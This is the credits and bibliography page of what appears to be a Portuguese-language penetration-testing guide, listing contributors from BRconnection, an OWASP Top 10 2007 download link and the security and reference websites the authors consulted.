Marcos Aurlio Rodrigues - Analista Segurana - BRconnection Myke Hamada Rodrigo Montoro Sp0oKer - Analista Segurana - BRconnection Disponivel para download em: http://www.owasp.org/images/4/42/OWASP_TOP_10_2007_PT-BR.pdf

Sites pesquisados: http://pt.wikipedia.org http://tools.ietf.org http://www.ipv6.br http://www.torproject.org http://www.openwall.com http://www.ethicalhacker.net http://www.owasp.org http://cve.mitre.org http://www.segurancaremota.com.br

PenTest - Segurana Hacker

Pgina 176